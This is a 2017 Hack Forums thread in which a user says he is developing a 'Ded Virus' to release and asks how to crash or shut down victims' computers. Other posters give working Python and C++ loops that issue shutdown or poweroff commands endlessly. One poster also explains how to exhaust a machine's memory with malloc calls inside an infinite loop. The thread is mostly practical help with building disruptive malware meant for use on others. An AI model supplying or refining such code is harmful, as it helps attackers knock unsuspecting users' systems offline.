

Forum:[Hack Forums](#)

Thread: [How can I implement this?](#)

F.A.S.T - September 18, 2017, 3:15 am

I'm trying to find out what will happen if we Flood Command Prompt with Shutdown command. I cannot test this Idea on my system. I cannot take this risk. The Latest update for Ded Virus created by me, Before I release it.

If anyone can tell me, I would appreciate that.

?

Aveling - September 18, 2017, 3:25 am

I recommend you to setup an virtual machine with VirtualBox and install Windows of your choice on it for your testing purpose. It won't matter if you break the virtual machine because you can just re-create it.

Asdethprime - September 18, 2017, 5:27 am

The computer would shut down.

If you wanted to implement something like this in python, it's super easy (remember shutdown and reboot are ring 3 operation, every single user, including one with least privilege should be able to do it).

FOR WINDOWS

```
Code import os
```

```
while True:
```

```
    os.system('shutdown -s')
```

If you run the program, it will again and again pass on the shutdown command.

FOR LINUX

```
Code import os
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```
while True:
```

```
    os.system("poweroff")
```

Though you could do it without a loop (while in this case) because shutdown and reboot commands are always honoured by the system.

F.A.S.T - September 18, 2017, 6:44 am

(Sep 18, 2017 05:27 AM)Asdethprime Wrote: [\[CITE\]](#) The computer would shut down.

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FOR LINUX

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while True:

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Though you could do it without a loop (while in this case) because shutdown and reboot commands are always honoured by the system. I have a lot of knowledge with Python Firsthand. But in this case I'm using C++ because Compiled .exe is a lot smaller file than if compiled in Python.

I will try this out for sure. You have also given me a Hint on where to start. Thank you. ?

(Sep 18, 2017 03:25 AM)Aveling Wrote: [\[CITE\]](#) I recommend you to setup an virtual machine with VirtualBox and install Windows of your choice on it for your testing purpose. It won't matter if you break the virtual machine because you can just re-create it.

How can I set it up?

Asdethprime - September 18, 2017, 7:45 am

(Sep 18, 2017 06:44 AM)F.A.S.T Wrote: [\[CITE\]](#) I have a lot of knowledge with Python Firsthand. But in this case I'm using C++ because Compiled .exe is a lot smaller file than if compiled in Python.

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It's the same in C++ too.

Code #include<stdlib.h>

```
int main (void) /*or whatever you have the main's return type as*/  
{  
    while(1)  
        system("shutdown -s");  
    return 0; /*though it's going to shutdown regardless */  
}
```

EDIT: Dammit keep forgetting to put the signature on:

r3dpyr4mid - September 18, 2017, 8:05 am

It would shutdown. After the first shutdown the script would shut down the computer then stop running, because, well the computer is shut down.

F.A.S.T - September 18, 2017, 8:30 am

(Sep 18, 2017 07:45 AM)Asdethprime Wrote: [\[CITE\]](#) It's the same in C++ too.

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    return 0; /*though it's going to shutdown regardless */  
}
```

EDIT: Dammit keep forgetting to put the signature on:

Thank you for this. You really are a Helpful Guy.

(Sep 18, 2017 08:05 AM)r3dpyr4mid Wrote: [\[CITE\]](#) It would shutdown. After the first shutdown the script would shut down the computer then stop running, because, well the computer is shut down.

My thoughts exactly.

But what If we are able to crash the computer by cmd flood? ?

Asdethprime - *September 18, 2017, 9:52 am*

You are most welcome.

If all you are trying to do is crash a computer there are other ways. For example, within the infinite loop [as with the above example] put a random malloc statement. Malloc, requests memory from the operating system. The memory can either be freed using free() , or they are automatically freed once the program's execution ends.

If the program continues to ask for extra memory, eventually your computer is bound to run out of it. That should first massively slow down your computer to a grinding halt before crashing.

F.A.S.T - *September 18, 2017, 9:55 am*

(Sep 18, 2017 09:52 AM)Asdethprime Wrote: [\[CITE\]](#) You are most welcome.

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If the program continues to ask for extra memory, eventually your computer is bound to run out of it. That should first massively slow down your computer to a grinding halt before crashing.

Got it! Added to Buddy List. Resourceful guy